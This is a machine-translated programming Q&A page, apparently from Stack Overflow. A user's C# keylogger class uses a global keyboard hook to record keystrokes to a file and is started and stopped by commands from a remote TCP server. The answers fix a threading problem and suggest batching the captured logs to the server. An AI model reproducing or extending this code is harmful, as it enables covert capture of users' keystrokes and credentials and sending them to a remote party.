库在Form1中调用时工作,但不能从其他任何地方调用

本文关键字:调用 任何地 其他 方调用 但不能 Form1 工作 库在 | 更新日期: 2023-09-27 18:02:12

我有这个库http://www.codeproject.com/KB/cs/globalhook.aspx
我已经下载并编译成DLL。
起初我有一个奇怪的问题,它在我的项目中没有工作,但它确实(在完全相同的代码中)在演示项目中工作,但它是通过应用以下消息所说的来修复的:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023 xx3505023xx
注意:我正在使用。net 4, VS 2010 Ultimate
我有一个文件form。cs,这是应用程序的主要表单。
我还有其他文件:Client.cs, Script.cs, keylogger .cs -不,这不是一个邪恶的键盘记录器-这是一个关于安全'反病毒等的学校演讲。
cs有一个静态类,代码如下:

public static class Keylogger
{
    static private StreamWriter sw = null;
    static private System.Timers.Timer t = null;
    static public bool Started = false;
    static public void Start(string Location)
    {
        Started = true;
        sw = new StreamWriter(Location, true, Encoding.Default, 1);
        HookManager.KeyPress += HookManager_KeyPress;
        t = new System.Timers.Timer(3600000);
        t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
        t.Start();
    }
    static public void Stop()
    {
        if (!Started)
            throw new Exception("Keylogger is not operating at the moment.");
        Started = false;
        HookManager.KeyPress -= HookManager_KeyPress;
        t.Dispose();
        sw.Dispose();
    }
    static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
    {
        if (e.KeyChar == 8)
            sw.Write("{BACKSPACE}");
        else
            sw.Write(e.KeyChar);
    }
}

Client类不是静态的——它管理与服务器的TCP连接,并将所有接收到的数据发送给Script。RunScript(string scr)(静态方法).
嗯,脚本。RunScript应该调用Keylogger。Start(string location) for some input (STARTLOGGING c:'log.txt)
并为某些输入调用Keylogger.Stop() (stopplogging)
嗯,一切都很好,它调用了Start,但是它不起作用。
它做了整个过程,(定时器,事件,流写入器等),但当我按下一些东西-整个计算机冻结了几秒钟,什么也没有发生(它甚至没有调用KeyPress) -它只发生第一次。任何其他时间-它只是忽略我的按键。
有趣的是-如果我从我的mainform调用Start(在actor中,在一个按钮点击事件上)-它确实工作!没有任何延迟。
我确实尝试了不同的事件(MouseDoubleClick, MouseMove),都有同样的问题。谢谢你,Mark !

库在Form1中调用时工作,但不能从其他任何地方调用

UI再次响应之后的延迟是问题潜在原因的强烈信号。你看到Windows在自我修复,注意到回调没有响应。它会自动禁用钩子。

您可能违反的硬性要求是SetWindowsHookEx()调用必须由抽取消息循环的线程进行。这样Windows就能在按下键时闯入并调用回调。当你从按钮点击中调用Start()方法时,点击事件在你的程序的UI线程上运行。

但可能不是当您从网络事件发出此呼叫时。它们往往运行在线程池线程上。从您的代码片段中不清楚,您没有发布代码。解决此类问题的通用方法是使用Control.BeginInvoke()来封送从工作线程到UI线程的调用。你可以在MSDN库的文章中找到很好的描述,在stackoverflow.com上也有很多很多答案

碰巧,由于。net 4版本的CLR改变了行为,原始代码被破坏了。它不再使用程序集的本机模块。这个解决方法已经足够好了,它只需要一个有效的模块句柄。实际的钩子不重要,因为这不是全局钩子。

我认为最好的办法是不要在UI事件上写入网络,而是让日志记录器写入本地文件或内存数据库或类似的文件,然后使用计时器定期将该消息的内容写入服务器。这样,您既可以向服务器发送更大块的消息(提高两台机器的性能),也可以在后台线程上运行网络调用,这使得UI感觉更灵活。